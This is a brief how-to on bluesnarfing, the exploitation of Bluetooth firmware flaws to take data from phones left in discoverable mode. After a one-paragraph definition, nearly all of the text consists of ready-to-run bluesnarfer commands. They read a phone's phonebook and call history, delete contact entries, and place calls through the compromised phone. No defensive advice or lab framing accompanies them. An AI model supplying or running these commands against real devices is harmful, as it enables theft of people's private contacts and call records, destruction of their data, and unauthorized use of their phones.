Bluesnarfing is the process of exploiting vulnerabilities found in certain Bluetooth firmware in order to steal information from a wireless device. Successful attacks are capable of stealing contacts, calendar info, e-mail, and text messages when the Bluetooth device is turned on and set to discoverable mode.


Read the first 50 entries from the phone book on a phone:

# bluesnarfer -r 1-50 -b <MAC address of phone>

The first 10 received calls on a phone:

# bluesnarfer -s RC -r 1-10 -b <MAC address of phone>

Delete the first 10 entries in the contacts list:

# bluesnarfer -w 1-10 -b <MAC address of phone>

Call a phone number through the compromised phone:

# bluesnarfer -c 'ATDT:<phone number>;' -b <MAC address of phone>